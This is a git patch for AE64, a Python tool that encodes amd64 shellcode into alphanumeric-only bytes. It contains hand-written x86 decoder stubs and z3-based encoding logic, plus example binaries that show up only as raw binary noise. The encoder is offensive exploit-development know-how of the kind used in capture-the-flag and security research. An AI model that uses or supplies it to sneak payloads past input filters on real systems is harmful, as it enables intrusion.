From d22c9902556890f774d290e08ca6fafec1f47da5 Mon Sep 17 00:00:00 2001 From: veritas501 Date: Tue, 6 Jul 2021 17:24:42 +0800 Subject: [PATCH] refactor: rebirth --- ae64.py | 637 ++++++++++++++++++++++++++++++++++++ amd64_alphanum_encoder.py | 233 ------------- example/example1/example1 | Bin 0 -> 9080 bytes example/example1/example1.c | 37 +++ example/example1/exp.py | 14 + example/example2/example2 | Bin 0 -> 13376 bytes example/example2/example2.c | 70 ++++ example/example2/exp.py | 14 + num_tbl.py | 1 - readme.md | 95 +++++- 10 files changed, 862 insertions(+), 239 deletions(-) create mode 100644 ae64.py delete mode 100644 amd64_alphanum_encoder.py create mode 100644 example/example1/example1 create mode 100644 example/example1/example1.c create mode 100644 example/example1/exp.py create mode 100644 example/example2/example2 create mode 100644 example/example2/example2.c create mode 100644 example/example2/exp.py delete mode 100644 num_tbl.py diff --git a/ae64.py b/ae64.py new file mode 100644 index 0000000..5249a08 --- /dev/null +++ b/ae64.py @@ -0,0 +1,637 @@ +from dataclasses import dataclass +from typing import List +from copy import deepcopy + +import keystone +import z3 + +REGISTERS = { + 'rax', 'rbx', 'rcx', 'rdx', 'rdi', 'rsi', 'rbp', 'rsp', + 'r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15', +} +charset = b"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" +charsetLength = len(charset) + + +@dataclass +class MulCacheStruct: + word: int = 0 + byte: int = 0 + + +@dataclass +class MulGadgetStruct: + mul: MulCacheStruct = MulCacheStruct() + offset: int = 0 + + +@dataclass +class EncodeInfoStruct: + idx: int = 0 + reg: str = 'rax' + useLowByte: bool = False + + +@dataclass +class EncodeInfoPlusStruct: + info: EncodeInfoStruct = EncodeInfoStruct() + gadget: MulGadgetStruct = MulGadgetStruct() + needPushByte: bool = False + needChangeRdi: bool = False + needChangeRdx: bool = False + needRecoverRdx: bool = False + + +def isalnum(ch: int) -> bool: + if 0x30 <= ch <= 0x39 \ + or 0x41 <= ch <= 0x5a \ + or 0x61 <= ch <= 0x7a: + return True + return False + + +class AE64: + def __init__(self): + # ---------- variables ---------- + # snippets asm + self._initDecoderAsm: str + self._clearRdiAsm: str + self._nopAsm: str + self._nop2Asm: str + self._initDecoderSmallAsm: str + self._lvl2DecoderTemplateAsm: str + self._lvl2DecoderPatch: str + + # snippets bytes + self._initDecoder: bytes + self._clearRdi: bytes + self._nop: bytes + self._nop2: bytes + self._initDecoderSmall: bytes + self._lvl2DecoderTemplate: bytes + + # keystone engine + self._ks: keystone.keystone.Ks + + # variables used while encoding + self._encodeInfo: List[EncodeInfoStruct] = [] + self._encodeInfoPlus: List[EncodeInfoPlusStruct] = [] + + # ---------- init functions ---------- + self._init_keystone() + self._init_snippets() + + def _init_keystone(self): + """ + initialize keystone engine + """ + self._ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64) + + def _init_snippets(self): + """ + initialize some useful asm snippets + """ + self._initDecoderAsm = ''' + /* set encoder */ + /* 0x6d57 x 0x33 == 0xc855 (200,85) rdx */ + /* 0x424a x 0x38 == 0x8030 (128,53) r8 */ + /* 0x436b x 0x4b == 0xc059 (192,89) r9 */ + /* 0x6933 x 0x43 == 0x8859 (136,89) r10 */ + + push 0x33 + push rsp + pop rcx + imul di, word ptr [rcx], 0x6d57 + push rdi + pop rdx /* 0xc855 */ + + push 0x38 + push rsp + pop rcx + imul di, word ptr [rcx], 0x424a + push rdi + pop r8 /* 0x8030 */ + + push 0x4b + push rsp + pop rcx + imul di, word ptr [rcx], 0x436b + push rdi + pop r9 /* 0xc059 */ + + push 0x43 + push rsp + pop rcx + imul di, word ptr [rcx], 0x6933 + push rdi + pop r10 /* 0x8859 */ + ''' + + self._clearRdiAsm = ''' + push rdi + push rsp + pop rcx + xor rdi, [rcx] + pop rcx + ''' + + self._nopAsm = ''' + push rcx + ''' + + self._nop2Asm = ''' + push rcx + pop rcx + ''' + + self._initDecoderSmallAsm = ''' + /* set encoder */ + /* 0x5970 x 0x6f == 0xc790 (199,144) rdx */ + + push 0x6f + push rsp + pop rcx + imul di, word ptr [rcx], 0x5970 + push rdi + pop rdx /* 0xc790 */ + + push 0x41 + pop r8 /* 0x0041 */ + ''' + + self._lvl2DecoderTemplateAsm = ''' + /* need encode: 0f 8d af c6 e9 ff */ + + /* clean rsi */ + push rsi + push rsp + pop rcx + xor rsi,[rcx] + pop rcx + + /* get encode start */ + push 0x41 + push rsp + pop rcx + imul si, word ptr [rcx], 0x4141 + lea r14, [rax+rsi] /* RECOVER 1 byte (0x11: 0x8d) */ + + /* get encode offset */ + push 0x42 + push rsp + pop rcx + imul si, word ptr [rcx], 0x4242 + push rsi + pop rcx + lea rsi, [r14+rsi*2] /* RECOVER 1 byte (0x20: 0x8d) */ + + /* push rsi to stack */ + push rsi + push rsp + pop rax + + decoder_start: + /* r14 -> ptr - 0x31 */ + movsxd rsi, dword ptr [r14+0x32] + imul si, word ptr [rcx+r14+0x31] /* RECOVER 2 bytes (0x2c: 0x0f, 0x2d: 0xaf) */ + xor byte ptr [r14+0x31], sil + + inc r14 /* RECOVER 2 bytes (0x36: 0xff, 0x37: 0xc6) */ + cmp [rax],r14 + + jne decoder_start /* RECOVER 1 byte (0x3c: 0xe9) */ + ''' + + self._lvl2DecoderPatch = ''' + push {} + push rsp + pop rcx + imul si, word ptr [rcx], {} + ''' + + # use keystone to assemble snippets + self._initDecoder, _ = self._ks.asm(self._initDecoderAsm, as_bytes=True) + self._clearRdi, _ = self._ks.asm(self._clearRdiAsm, as_bytes=True) + self._nop, _ = self._ks.asm(self._nopAsm, as_bytes=True) + self._nop2, _ = self._ks.asm(self._nop2Asm, as_bytes=True) + self._initDecoderSmall, _ = self._ks.asm(self._initDecoderSmallAsm, as_bytes=True) + self._lvl2DecoderTemplate, _ = self._ks.asm(self._lvl2DecoderTemplateAsm, as_bytes=True) + + def _gen_prologue(self, register: str) -> bytes: + ans = b"" + if register != 'rax': + ans += self.gen_machine_code("push {};pop rax;".format(register)) + ans += self._clearRdi + self._initDecoder + return ans + + def _gen_prologue_small(self, register: str) -> bytes: + ans = b"" + if register != 'rax': + ans += self.gen_machine_code("push {};pop rax;".format(register)) + ans += self._clearRdi + self._initDecoderSmall + return ans + + def _gen_encoded_shellcode(self, sc: bytes) -> bytes: + regs = ['rdx', 'r8', 'r9', 'r10'] + lBytes = [0x55, 0x30, 0x59, 0x59] + hBytes = [0xc8, 0x80, 0xc0, 0x88] + res = bytearray(sc) + length = len(sc) + + self._encodeInfo.clear() + for i in range(length): + if isalnum(sc[i]): + continue + tmpInfo = EncodeInfoStruct() + tmpInfo.idx = i + if sc[i] < 0x80: + # use dl to do xor + tmpInfo.useLowByte = True + for j in range(4): + if isalnum(lBytes[j] ^ sc[i]): + tmpInfo.reg = regs[j] + res[i] ^= lBytes[j] + break + else: + # use dh to do xor + tmpInfo.useLowByte = False + for j in range(4): + if isalnum(hBytes[j] ^ sc[i]): + tmpInfo.reg = regs[j] + res[i] ^= hBytes[j] + break + self._encodeInfo.append(tmpInfo) + return bytes(res) + + def _gen_encoded_small_lvl2_decoder(self, sc: bytes) -> bytes: + reg_rdx = [0x90, 0xc7] # low, high + reg_r8 = [0x41, 0] # low, high + res = bytearray(sc) + length = len(sc) + + self._encodeInfo.clear() + for i in range(length): + if isalnum(sc[i]): + continue + tmpInfo = EncodeInfoStruct() + tmpInfo.idx = i + if sc[i] < 0x80: + # only need encode 0xf, we assume in r8 + tmpInfo.useLowByte = True + tmpInfo.reg = 'r8' + res[i] ^= reg_r8[0] + else: + tmpInfo.reg = 'rdx' + for j in range(2): + if isalnum(reg_rdx[j] ^ sc[i]): + tmpInfo.useLowByte = True if j == 0 else False + res[i] ^= reg_rdx[j] + break + self._encodeInfo.append(tmpInfo) + return bytes(res) + + def _gen_decoder(self, offset: int) -> bytes: + decoderAsm = "" + self._optimize_encoder_info(offset) + for infoPlus in self._encodeInfoPlus: + if infoPlus.needChangeRdi: + if infoPlus.needPushByte: + decoderAsm += "push {};push rsp;pop rcx;".format(infoPlus.gadget.mul.byte) + decoderAsm += "imul di, [rcx], {};\n".format(infoPlus.gadget.mul.word) + if infoPlus.info.reg != 'rdx' and infoPlus.needChangeRdx: + decoderAsm += "push rdx;push {};pop rdx;\n".format(infoPlus.info.reg) + if infoPlus.info.useLowByte: + decoderAsm += "xor [rax + rdi + {}], dl;\n".format(infoPlus.gadget.offset) + else: + decoderAsm += "xor [rax + rdi + {}], dh;\n".format(infoPlus.gadget.offset) + if infoPlus.info.reg != 'rdx' and infoPlus.needRecoverRdx: + decoderAsm += "pop rdx;\n" + decoder = self.gen_machine_code(decoderAsm) + return decoder + + def _optimize_encoder_info(self, offset: int): + def gen_single_info(): + nonlocal cacheRdi, cacheStackByte, needPushByte + mulGadget: MulGadgetStruct = MulGadgetStruct() + target = self._encodeInfo[i].idx + offset + for offIdx in range(charsetLength): + # optimize 1. use old stack byte + if cacheStackByte: + for highByte in range(charsetLength): + for lowByte in range(charsetLength): + mulWord = (charset[highByte] << 8) + charset[lowByte] + ans = (mulWord * cacheStackByte) & 0xffff + if ans + charset[offIdx] == target: + cacheRdi = ans + needPushByte = False + mulGadget.mul.byte = cacheStackByte + mulGadget.mul.word = mulWord + mulGadget.offset = target - ans + tmpInfo.needPushByte = False + tmpInfo.needChangeRdi = False + tmpInfo.gadget = mulGadget + return + # can't use old stack byte + for highByte in range(charsetLength): + for lowByte in range(charsetLength): + mulWord = (charset[highByte] << 8) + charset[lowByte] + for b in range(charsetLength): + mulByte = charset[b] + ans = (mulWord * mulByte) & 0xffff + if ans + charset[offIdx] == target: + cacheRdi = ans + cacheStackByte = mulByte + needPushByte = True + mulGadget.mul.byte = cacheStackByte + mulGadget.mul.word = mulWord + mulGadget.offset = target - ans + tmpInfo.needPushByte = False + tmpInfo.needChangeRdi = False + tmpInfo.gadget = mulGadget + return + raise Exception("can't find mul gadget, this should not happen") + + self._encodeInfoPlus.clear() + count = len(self._encodeInfo) + lastUpdate = 0 + book = [0 for _ in range(count)] + + cacheRdi = 0 + cacheStackByte = 0 + + useRdx: List[EncodeInfoPlusStruct] = [] + useR8: List[EncodeInfoPlusStruct] = [] + useR9: List[EncodeInfoPlusStruct] = [] + useR10: List[EncodeInfoPlusStruct] = [] + + tmpInfo: EncodeInfoPlusStruct + + noUpdate: bool + needCalcNewRdi: bool + needChangeRdi: bool + needPushByte: bool + + while True: + noUpdate = True + needCalcNewRdi = True + needChangeRdi = True + needPushByte = True + for i in range(lastUpdate, count): + tmpInfo = EncodeInfoPlusStruct() + if book[i]: + continue + if needCalcNewRdi: + needCalcNewRdi = False + lastUpdate = i + gen_single_info() + # optimize 2. try to use old rdi + if isalnum(self._encodeInfo[i].idx + offset - cacheRdi): + noUpdate = False + book[i] = 1 + # optimize 3. try to use old rdx + tmpInfo.info = self._encodeInfo[i] + tmpInfo.needChangeRdx = False + tmpInfo.needRecoverRdx = False + tmpInfo.gadget.offset = self._encodeInfo[i].idx + offset - cacheRdi + if self._encodeInfo[i].reg == 'rdx': + useRdx.append(deepcopy(tmpInfo)) + elif self._encodeInfo[i].reg == 'r8': + useR8.append(deepcopy(tmpInfo)) + elif self._encodeInfo[i].reg == 'r9': + useR9.append(deepcopy(tmpInfo)) + elif self._encodeInfo[i].reg == 'r10': + useR10.append(deepcopy(tmpInfo)) + # end of "for i in range(lastUpdate, count)" + if len(useRdx) > 0: + useRdx[0].needChangeRdx = True + useRdx[-1].needRecoverRdx = True + if len(useR8) > 0: + useR8[0].needChangeRdx = True + useR8[-1].needRecoverRdx = True + if len(useR9) > 0: + useR9[0].needChangeRdx = True + useR9[-1].needRecoverRdx = True + if len(useR10) > 0: + useR10[0].needChangeRdx = True + useR10[-1].needRecoverRdx = True + useRdx.extend(useR8) + useRdx.extend(useR9) + useRdx.extend(useR10) + if len(useRdx) > 0: + useRdx[0].needChangeRdi = needChangeRdi + useRdx[0].needPushByte = needPushByte + self._encodeInfoPlus.extend(useRdx) + useRdx.clear() + useR8.clear() + useR9.clear() + useR10.clear() + if noUpdate: + break + return + + def _gen_small_level1_decoder(self, offset: int) -> bytes: + decoderAsm = "" + self._optimize_encoder_info(offset) + for infoPlus in self._encodeInfoPlus: + if infoPlus.needChangeRdi: + if infoPlus.needPushByte: + decoderAsm += "push {};push rsp;pop rcx;".format(infoPlus.gadget.mul.byte) + decoderAsm += "imul di, [rcx], {};\n".format(infoPlus.gadget.mul.word) + if infoPlus.info.reg != 'rdx' and infoPlus.needChangeRdx: + decoderAsm += "push rdx;push {};pop rdx;\n".format(infoPlus.info.reg) + if infoPlus.info.useLowByte: + decoderAsm += "xor [rax + rdi + {}], dl;\n".format(infoPlus.gadget.offset) + else: + decoderAsm += "xor [rax + rdi + {}], dh;\n".format(infoPlus.gadget.offset) + if infoPlus.info.reg != 'rdx' and infoPlus.needRecoverRdx: + decoderAsm += "pop rdx;\n" + decoder = self.gen_machine_code(decoderAsm) + return decoder + + def _gen_small_encoded_shellcode(self, sc: bytes) -> (bytes, int): + if len(sc) % 2: + # padding to even length + sc += b'\x00' + scLength = len(sc) + offset = len(sc) // 2 + if offset < 4: + offset = 4 + targetLength = scLength + offset + ans = [z3.BitVec('e_{}'.format(i), 8) for i in range(targetLength)] + s = z3.Solver() + for i in range(targetLength): + s.add(z3.Or( + z3.And(0x30 <= ans[i], ans[i] <= 0x39), + z3.And(0x41 <= ans[i], ans[i] <= 0x5a), + z3.And(0x61 <= ans[i], ans[i] <= 0x7a), + )) + for i in range(scLength): + s.add((ans[i + 1] * ans[i + offset]) ^ ans[i] == sc[i]) + if s.check() == z3.unsat: + raise Exception("encode unsat") + m = s.model() + return bytes([m[ans[i]].as_long() for i in range(targetLength)]), offset + + def _patch_level2_decoder(self, shellcode: bytes, start: int, offset: int) -> bytes: + def get_mul_pair(num: int) -> (int, int): + def z3_isalnum(ch): + return z3.Or( + z3.And(0x30 <= ch, ch <= 0x39), + z3.And(0x41 <= ch, ch <= 0x5a), + z3.And(0x61 <= ch, ch <= 0x7a), + ) + + v = [z3.BitVec(f'v_{i}', 16) for i in range(2)] + s = z3.Solver() + s.add(v[0] & 0xff00 == 0) + s.add(v[0] * v[1] == num) + s.add(v[0] * v[1] == num) + s.add(z3_isalnum(v[0] & 0xff)) + s.add(z3_isalnum(v[1] & 0xff)) + s.add(z3_isalnum((v[1] & 0xff00) >> 8)) + if s.check() == z3.unsat: + raise Exception("encode unsat") + m = s.model() + return m[v[0]].as_long(), m[v[1]].as_long() + + b1, w1 = get_mul_pair(start - 0x31) + b2, w2 = get_mul_pair(offset) + shellcode = shellcode.replace( + self.gen_machine_code(self._lvl2DecoderPatch.format(0x41, 0x4141)), + self.gen_machine_code(self._lvl2DecoderPatch.format(b1, w1)), + ) + shellcode = shellcode.replace( + self.gen_machine_code(self._lvl2DecoderPatch.format(0x42, 0x4242)), + self.gen_machine_code(self._lvl2DecoderPatch.format(b2, w2)), + ) + return shellcode + + def gen_machine_code(self, asm_code: str) -> bytes: + """ + use keystone to assemble + + @param asm_code: asm code + @return: bytecode + """ + if not self._ks: + raise Exception("keystone not initialized") + ans, _ = self._ks.asm(asm_code, as_bytes=True) + return ans + + def encode_fast(self, shellcode: bytes, register: str = 'rax', offset: int = 0) -> bytes: + """ + use fast generate strategy to encode given shellcode into alphanumeric shellcode (amd64 only) + @param shellcode: bytes format shellcode + @param register: the register contains shellcode pointer (can with offset) (default=rax) + @param offset: the offset (default=0) + @return: encoded shellcode + """ + # 1. get prologue + if register.lower() not in REGISTERS: + raise Exception("register name '{}' is not valid".format(register)) + prologue = self._gen_prologue(register.lower()) + prologueLength = len(prologue) + print("[+] prologue generated") + + # 2. get encoded shellcode + encodedShellcode = self._gen_encoded_shellcode(shellcode) + for ch in encodedShellcode: + if not isalnum(ch): + raise Exception("find non-alphanumeric byte {} in encodedShellcode".format(hex(ch))) + print("[+] encoded shellcode generated") + + # 3. build decoder + totalSpace = prologueLength if prologueLength > 0x20 else 0x20 + while True: + print("[*] build decoder, try free space: {} ...".format(totalSpace)) + decoder = self._gen_decoder(offset + totalSpace) + decoderLength = len(decoder) + trueLength = prologueLength + decoderLength + if totalSpace >= trueLength and totalSpace - trueLength <= 100: + # suitable length, not too long and not too short + nopLength = totalSpace - trueLength + break + totalSpace = trueLength + + new_shellcode = prologue + decoder + new_shellcode += self._nop2 * (nopLength // 2) + new_shellcode += self._nop * (nopLength % 2) + new_shellcode += encodedShellcode + + # do some check + for ch in new_shellcode: + if not isalnum(ch): + raise Exception("find non-alphanumeric byte {} in final shellcode".format(hex(ch))) + + print("[+] Alphanumeric shellcode generate successfully!") + print("[+] Total length: {}".format(len(new_shellcode))) + return new_shellcode + + def encode_small(self, shellcode: bytes, register: str = 'rax', offset: int = 0) -> bytes: + """ + use small generate strategy to encode given shellcode into alphanumeric shellcode (amd64 only) + @param shellcode: bytes format shellcode + @param register: the register contains shellcode pointer (can with offset) (default=rax) + @param offset: the offset (default=0) + @return: encoded shellcode + """ + # 1. get prologue + if register.lower() not in REGISTERS: + raise Exception("register name '{}' is not valid".format(register)) + prologue = self._gen_prologue_small(register.lower()) + prologueLength = len(prologue) + print("[+] prologue generated") + + # 2. build encoded level2 decoder + encodedLvl2DecoderTemplate = self._gen_encoded_small_lvl2_decoder(self._lvl2DecoderTemplate) + for ch in encodedLvl2DecoderTemplate: + if not isalnum(ch): + raise Exception("find non-alphanumeric byte {} in encodedShellcode".format(hex(ch))) + + # 3. build level1 decoder + totalSpace = prologueLength if prologueLength > 0x20 else 0x20 + while True: + print("[*] build decoder, try free space: {} ...".format(totalSpace)) + decoder = self._gen_small_level1_decoder(offset + totalSpace) + decoderLength = len(decoder) + trueLength = prologueLength + decoderLength + if totalSpace >= trueLength and totalSpace - trueLength <= 100: + # suitable length, not too long and not too short + nopLength = totalSpace - trueLength + break + totalSpace = trueLength + + # 4. build encoded shellcode + print("[*] generate encoded shellcode ...".format(totalSpace)) + encodedShellcode, encoder2Offset = self._gen_small_encoded_shellcode(shellcode) + + # 5. patch lvl2 decoder template + encoder2Start = offset + len(prologue) + len(decoder) + nopLength + len(encodedLvl2DecoderTemplate) + encodedLvl2Decoder = self._patch_level2_decoder(encodedLvl2DecoderTemplate, encoder2Start, encoder2Offset) + + new_shellcode = prologue + decoder + new_shellcode += self._nop2 * (nopLength // 2) + new_shellcode += self._nop * (nopLength % 2) + new_shellcode += encodedLvl2Decoder + new_shellcode += encodedShellcode + + print("[+] Alphanumeric shellcode generate successfully!") + print("[+] Total length: {}".format(len(new_shellcode))) + return new_shellcode + + def encode(self, shellcode: bytes, register: str = 'rax', offset: int = 0, strategy: str = 'fast') -> bytes: + """ + encode given shellcode into alphanumeric shellcode (amd64 only) + @param shellcode: bytes format shellcode + @param register: the register contains shellcode pointer (can with offset) (default=rax) + @param offset: the offset (default=0) + @param strategy: encode strategy, can be "fast" or "small" (default=fast) + @return: encoded shellcode + """ + if strategy.lower() not in ['fast', 'small']: + raise Exception("strategy neither 'fast' nor 'small'") + + if strategy.lower() == 'fast': + return self.encode_fast(shellcode, register, offset) + else: + return self.encode_small(shellcode, register, offset) diff --git a/amd64_alphanum_encoder.py b/amd64_alphanum_encoder.py deleted file mode 100644 index f3ef313..0000000 --- a/amd64_alphanum_encoder.py +++ /dev/null @@ -1,233 +0,0 @@ -#coding=utf8 -from pwn import context,asm -from num_tbl import offset_tbl -context.arch = 'amd64' -# context.log_level = 'debug' - -s = 'UVWXYZABCDEFGHIJKLMNOPQRSTabcdefghijklmnopqrstuvwxyz0123456789' -s = map(ord,list(s)) - -# nop = asm('push rcx') -# nop2 = asm('push rcx;pop rcx') -nop = 'Q' -nop2 = 'QY' - -sc_set_encoder=''' -/* set encoder */ -/* 0x55555658 x 0x30 == 0x1000003080 (53,128) */ -/* 0x55555734 x 0x30 == 0x10000059c0 (89,192) */ -/* 0x55555654 x 0x5a == 0x1e00005988 (89,136) */ -/* 0x66666742 x 0x64 == 0x28000055c8 (85,200) */ - -push 0x30 -push rsp -pop rcx - -imul edi,DWORD PTR [rcx],0x55555658 -push rdi -pop r8 /* 0x3080 */ - -imul edi,DWORD PTR [rcx],0x55555734 -push rdi -pop r9 /* 0x59c0 */ - -push 0x5a -push rsp -pop rcx - -imul edi,DWORD PTR [rcx],0x55555654 -push rdi -pop r10 /* 0x5988 */ - -push 0x64 -push rsp -pop rcx - -imul edi,DWORD PTR [rcx],0x66666742 -push rdi -pop rdx /* 0x55c8 */ - -/* now status */ -/* r8 : 0x3080 */ -/* r9 : 0x59c0 */ -/* r10 : 0x5988 */ -/* rdx : 0x55c8 */ -''' -# sc_set_encoder = asm(sc_set_encoder) -sc_set_encoder = 'j0TYi9XVUUWAXi94WUUWAYjZTYi9TVUUWAZjdTYi9BgffWZ' - -# 计算encode后的shellcode,以及需要的加密步骤 -def encode_sc(raw_sc): - ''' - r8 : 0x3080 - r9 : 0x59c0 - r10 : 0x5988 - rdx : 0x55c8 - ''' - reg=['rdx','r8','r9','r10'] - dh=[0x55,0x30,0x59,0x59] - dl=[0xc8,0x80,0xc0,0x88] - - __enc_sc=list(raw_sc) - __idx_list=[] - __reg_list=[] - __hl_list=[] - - for i in range(len(raw_sc)): - oc = ord(raw_sc[i]) - if oc not in s: - if oc<0x80: - for j,n in enumerate(dh): - if oc^n in s: - __enc_sc[i] = chr(oc^n) - __idx_list.append(i) - __reg_list.append(reg[j]) - __hl_list.append(1) - # print i,reg[j] - break - else: - for j,n in enumerate(dl): - if oc^n in s: - __enc_sc[i] = chr(oc^n) - __idx_list.append(i) - __reg_list.append(reg[j]) - __hl_list.append(0) - # print i,reg[j] - break - __enc_sc = ''.join(__enc_sc) - return (__enc_sc,__idx_list,__reg_list,__hl_list) - - -shift_tbl=[65,97,48,66,98,49,67,99,50,68,100,51,69,101, - 52,70,102,53,71,103,54,72,104,55,73,105,56, - 74,106,57,75,107,76,108,77,109,78,110,79,111, - 80,112,81,113,82,114,83,115,84,116,85,117,86, - 118,87,119,88,120,89,121,90,122,0] - - -dp_tbl={} -rdi=0 -# 内部函数 -def find_mul_inter(num): - global dp_tbl - if dp_tbl.get(num): - return dp_tbl.get(num) - for a in s: - for b in s: - for c in s: - for d in s: - num1 = (a<<24)+(b<<16)+(c<<8)+(d) - for e in s: - if (num1*e)&0xffffffff == num: - dp_tbl[num] = (num1,e) # add to dp_tbl - return (num1,e) - return (0,0) - -# 用来计算如何得到指定的offset -def find_mul(offset): - global dp_tbl,rdi,shift_tbl - - if offset_tbl.get(offset):# table cache - n,e,x = offset_tbl.get(offset) - rdi = [n,e] - return (n,e,x) - if rdi == 0: #not used yet - for x in shift_tbl: - n,e = find_mul_inter(offset-x) - if n != 0: # find - rdi = [n,e] - return (n,e,x) - else: # rdi already used - # let rdi not touch - already = (rdi[0]*rdi[1])&0xffffffff - if offset-already in shift_tbl: # we find offset - return (rdi[0],rdi[1],offset-already) - else: # not find :( - for x in shift_tbl: - n,e = find_mul_inter(offset-x) - if n != 0: # find - rdi = [n,e] - return (n,e,x) - print 'cant find mul for {} :('.format(offset) - exit(0) - -# 输出encoder的shellcode -def get_encoder(pre_len,in_idx,in_reg,in_hl): - global rdi - - sc ='' - old_rdi=[0,0] - for i,iidx in enumerate(in_idx): - t_idx = pre_len+iidx - n,e,x = find_mul(t_idx) - if n == old_rdi[0] and e == old_rdi[1]: # edi not changed - pass - else: - sc+='''/* set edi */ - push {};push rsp;pop rcx - imul edi,[rcx],{} - '''.format(n,e) - old_rdi = rdi - if in_reg[i] != 'rdx': #backup rdx and set - sc+='''push rdx;push {};pop rdx - '''.format(in_reg[i]) - - if x == 0: - if in_hl[i] == 0: - sc+='''xor [rax+rdi],dl - ''' - else: - sc+='''xor [rax+rdi],dh - ''' - else: - if in_hl[i] == 0: - sc+='''xor [rax+rdi+{}],dl - '''.format(x) - else: - sc+='''xor [rax+rdi+{}],dh - '''.format(x) - - if in_reg[i] != 'rdx': #restore rdx - sc+='''pop rdx; - ''' - - return sc.replace('\t','').replace(' ','') - - -# MAIN FUNC <------ CALL THIS -def alphanum_encoder(sc,padding_len,encoder_len=0): - r''' - sc:需要encode的机器码 - padding_len:因为默认rax指向shellcode附近,这个字段的意思为 rax+padding_len == encoder的起始地址 - encoder_len:留给encoder的最大字节长度,请按照sc的情况合理设置(不设置即为默认的shellcode长度的4倍) - - 地址构成: - rax --> xxxxx \ - xxxxx | padding_len (adjust addr to rax) - xxxxx / - encoder yyyyy \ - yyyyy | encoder_len - yyyyy / - your_sc zzzzz \ - zzzzz | encoded shellcode - zzzzz | - zzzzz / - ''' - if encoder_len == 0: - encoder_len = len(sc)*4 - if encoder_len < 0x50: - encoder_len = 0x50 - enc_sc,idx_list,reg_list,hl_list = encode_sc(sc) - encoder = get_encoder(padding_len+encoder_len,idx_list,reg_list,hl_list) - encoder = asm(encoder) - - final_sc = sc_set_encoder - final_sc += encoder - if encoder_len $Qz_nTF4`A(~!b|=X|s;o%^viDXX^h#j#&vgFiC+ zxug{uVQC9q8`gEK>MBhd-IxZNrf!o^RZUI0bgepVQ~0AG#x@mJz@cLV0VRKodgt7C zkNx~&YiQE`<3@hxp5Hy^+;i_c_xhgeJkjaf;B+_`6(@U;ajsI~kojcn^a_$-Oku5T zK0NE#t!y5^^JY}%xP$F*V0jT&R zk$8Y5bz@I|Y53 zST7TGb3r+v4P%4i*jN^Z6;sAW1hzCBz6m4ju;5e6vE9jz0gq+2s*h8Qtz3LTo#qMm z7>qwEwPOA%0Kk5!NEY1m%xr0};27srnk+c2U2JQ$;MV<3vEbM@71e_0-YGP0v*2P2 z;VNIV;9`s9c%KEwSfrwk{5MtNouTGY|=l}IfmyY6=&l3jToo>g@U z)Q}IM#PpRcl$B?Y$0?hh;{30X$Elj0;QWio;}lJw;`~YEacZW2%=r_@8Y-IzWYPzGo(le3y9;lCFz-0!Zc6LAP%w6fATd?Nr!L!Ka4M_V@7?2Cwm4pGA@uBoy{7dsLFi!Wl&wah4o`8VqQ5$icsH3xPHT~9}6{pb>hDlBDI5uRjfUs%5 zcM_u_-``nm?@^!p7dLS3h6@a+=^6E0<{{N_L4Em#adXbvLb6s>$9gBt{zo3TR3R~z zs_6m6Obn)^_d@wg069M7J&jB71+9)g#8Tzgz7KjiV;`VGcB*%JAL!)$@jmR`=}l)b z418lNZ4RdL$Bv2X$GNnVv|* z6VlxVK$1Tgg&mYRR=DnOf|xw zcIFtacC1)bQF+8sQH?nN0tLO*T*7=5muIYA$X7$Zr%=>gy}@0(scPY4l_Tt-<@c{% zTYm?_UxrTye0~mc*AZxQSC2W{+_i^Y?QZE{nb+MgTK*Nc;yk~=-QaagUUw}>w7Dz2 z3sIWu?gxr7t0Mrd-$ngrT%B%dtgOx5aJXD`Hyxa(x?4vpHoKLCyVdJ%0=sQ)3FJ&` zeB6Ho^&?=%x-X;2&&%gC@c9fBpMfcn_ni`yr0_cn3sE{7)y`8m4u>sX4EWl>vW!15 z-|FKvN*^l)zFg2+(N2eXYXA5~HjX04oeGj%&Nu5ac{;OAI8C0;G$)x^%-w{sTEX8e zC=onx@B&{)SZI%!;aq;-q%+qo0&gf+c#ZJcGLt92aeu}_XD{j>wjn;A(?TA$XU@}n z!WTW~Pl$HY%K!gKd91yso#MR?2)akmgMuCt^k;&;BapS&g|M3MY!n&tnvqh4K}w*!y%r7DjPUC_kT3JQd;#7{y&7zL3%SE5sKurO3Ry z*iCGvC=Qn!6^hjaue(?kqxEcUbis*qM6B~dye4;FQHU>QSBlCn$?Xq?@=F=*3x)X2 z43BsA;$mNb`IQB#q;@dp*-zsc@)=k8T%lcN6Z@Tmku`9 zf7~aX%*~o?`z=~Ve8`5&0=Mta9o+tMHX{6|ePsv7=g#LoVQ0!_{~(v2`(B<0yx6!( zjTg^|4!H4{S)f2IU(Q0c*gT*_G5deus!Qg?!|UA6-1mM}$kX=@XW{V)ugs0l1uy_d zk$8{*UySoF;+DQ2ngEx`sD=6fFLuxJH!eRnuKEBkb{~`gyc)heF+H-D)m(n=dfZ#W z&JRl9FP6Z6TLOO_aP-H%E;4{iRtH7>6ToYn%h-_3|1y}s8q2;>Cghg@j`NJ^CKi6? z2YM&RIaKg?1-NRs&wAQs{|)Gu+Y#}+T4>!1c2M3vpY7DI*!Os@0y=7me)~({kCnj3 z0GEUhR`Og4`QHGJ^Je#Ryo8;gP1>@RaB;N0jXh9>MNNWDnFbl+^LlNE3gYv!W);AXy(gwn@u;x!B z{ChP$W+e8qfrLM*Yr#}Bx))R|oCcCcfv7(0#~wV~#|_)Pn>)46Egj&b=`qy{^ny(5 z*tNyGxvL$dEG_(s5g@oo);d+qw5E1!XWB;J);6zC+qz-Hj?Qka+uP>r#2)y?WFVR1 zBVbxr_hv0WH{F}tab~*x{SjTl6U^Iw(*JUIvqs zd!vTGAE=QqX^3iYd#xvim>h$UM!xPs82*r6o$a+Yuf>02Q z5NE2I%fZy3`Xd1lgKqrMZ~%OW8)zO7j4l~o50hbGMq#m8_mls%j^_*5GIMzkotx?R zILgP!KFV6loxorY1ltfVbiStFyCi`Vq5YnC4^*uBbPhL!!Fm!D)UMwF_;tvcsQ=?m zg-af{>6dfV^1FxNw*XxTAJU(2D!?%~-*duR#enAli&e_+;N-~5PIzJtN&0mDpB0Ja zNmDHMw9nseXu%wi^eIm`AqGnMG5Jq&L>~ox%qfYdeB!jwS47Wt{{_tO{D-2XPkG0z z(5F0>`nQjNztC?J1}Q&j5DJt>Ba3rp*M9~uoD=j93*|Aj0-*7mt){P3N1BF@RbQE> 